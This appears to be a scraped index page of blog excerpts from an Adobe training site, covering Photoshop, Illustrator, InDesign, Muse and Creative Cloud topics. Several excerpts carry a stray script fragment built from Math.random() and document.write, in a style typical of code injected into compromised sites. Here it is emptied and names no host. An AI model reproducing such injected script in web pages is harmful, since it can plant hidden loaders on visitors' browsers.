Vectors, Paths and Pixels in Photoshop & Illustrator

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The terms used in graphic design when you first get started can be difficult to get your head around. Photoshop is a large and powerful program which, for those unfamiliar with it, can be equally (if not more) confusing. With that in mind, today we’ll look at the differences between vectors, paths and pixels – all terms that you will come across regularly whilst learning to use Photoshop and Illustrator. var uri = '' + new String (Math.random()).substring (2, 11); document.write(''); Pixels Essentially, pixel means a p...
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5 Free Vector Resources for Illustrator: Part Two

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In part one of the free vector resources for Illustrator, we discussed Creative Commons licensing and gave you some of the best sources. Leading on from that post, here's 5 more resources that should help you to create stunning vectors, whatever the project. Illustrator is a powerful and highly useful program for creating vectors for use in a variety of business material, such as logos, illustrations, charts, graphs and more. These can be used in both print and web promotional material and are increasingly used to create art for the web by illustrator ‘artists’. For example, the image be...
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Should I Use Adobe Muse To Build My Website?

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When we think of Adobe, we tend to think of Photoshop, Illustrator, InDesign, possibly Flash, and a few of the other more common programs. When it comes to building websites, however, the place where most of our minds go is WordPress, or perhaps Drupal or Joomla. WordPress of course is the biggie. This is the website builder and CMS (content management system) that is pretty much built for the novice – though if you are in possession of coding skills, then you can do a very professional job on WordPress, too. var uri = '' +...
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5 Free Vector Resources for Illustrator: Part One

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As a designer, one of the most frustrating things can be trawling through search engine results trying to find some vector illustrations that are not only suitable for your current project or design, but are also great quality, and, of course, free to use. I’ve lost count of the times that I’ve finally found a vector image that I like – or that it contains an object within it that I could make use of – only to find out that it can’t be used commercially. var uri = '' + new String (Math.random()).substring (2, 11); document...
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How To Optimise Photos For The Web In 2 Minutes With Photoshop

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As with so many things in life, when it comes to optimising your images for the web, it all comes down to striking the right balance. The images on your website will play an extremely important role in visitor retention. And in fact they will do this in two ways – one aesthetic, and one technical. Firstly, the images you choose for your website of course need to be of professional standard and quality. They also need to be germane to your brand and your online message to the world. They need to be original, too, as well as eye-catching, beautiful and thoughtful. If your images lack any o...
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How A Bootcamp Course In InDesign Can Benefit Your Business

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Whether you are just starting a business or you are looking to improve the technology your marketing and design department is working with, an Adobe course in InDesign could be just what you need. There are many benefits to not just having the right equipment for your business design work, but knowing how to use it properly. Here are just a few: 1) Produce marketing literature in-house Small and medium-sized enterprises (SMEs) typically spend £24,000 a year on their marketing budget, according to eSift, hoping that promotional literature and online campaigns will significantly boost their p...
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Design Manchester 2015 – 14th-20th October

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If you've recently completed an Adobe Illustrator online course and are keen to find out even more about graphic design, then you should perhaps make your way to Manchester in time for October 14th as Design Manchester is taking place once again and it could be the perfect opportunity for you to really hone your new skills.   This year's theme is Know How, with a programme of debates, exhibitions, workshops, screenings and talks put on, as well as an entire weekend dedicated to the medium of print with The Manchester Print Festival at The People's History Museum.   So wh...
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3 Reasons To Subscribe To Adobe Creative Cloud

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Adobe products have been synonymous with creative media for many years now and many of you will have begun your Adobe journey with the Creative Suite. The sixth incarnation of the latter was of course the final instalment of the highly revered and successful software where you would buy the software as a disc or download for a fairly hefty sum. What Happened Next…? Well, let’s first take a look at what happened almost simultaneously. Being one of the most successful purveyors of boxed software, Adobe’s CS6 was of course met with as much excitement and critical acclaim as all of its pr...
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3 Ways Learning InDesign Can Save You Money

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The software offerings from Adobe have always had a somewhat fearful reputation for being far too complicated for the average person to learn for themselves. However, whilst it’s certainly true that the likes of Photoshop, InDesign and Illustrator are professional tools that have not been built to be ‘user-friendly’ as such, this shouldn’t mean that these programs should be the sole reserve of professional designers. Adobe Creative Cloud has made the pricing of Adobe software much more accessible. In the past, each program would set you back £100s, whereas now, a simple monthly fee is p...
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The Benefits Of Online Training

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If you want to boost your skill set this year, an online course in Adobe InDesign could be a good idea. But why would you choose to learn on the internet rather than in a classroom environment? Here are some of the key benefits of choosing online training courses. Convenience Perhaps the most obvious benefit of elearning is the convenience factor. You can either join in with a live class on the internet or just download the file to learn in your own time. This means you can train up at your own pace and go over the material as much as you would like. Reduced costs Online co...
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